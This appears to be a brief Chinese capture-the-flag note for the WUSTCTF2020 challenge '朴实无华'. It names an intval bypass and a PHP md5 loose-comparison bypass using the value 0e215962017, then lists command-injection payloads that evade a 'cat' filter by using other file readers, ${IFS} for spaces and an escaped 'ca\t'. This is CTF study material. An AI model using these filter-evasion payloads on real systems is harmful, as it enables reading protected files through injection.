[WUSTCTF2020]朴实无华

intval绕过

$md5==md5($md5)绕过

0e215962017

getflag时如何绕过cat的限制

head${IFS}flag
tac${IFS}flag
more${IFS}flag
less${IFS}flag
nl${IFS}flag
tail${IFS}flag
sort${IFS}flag
ca\t${IFS}flag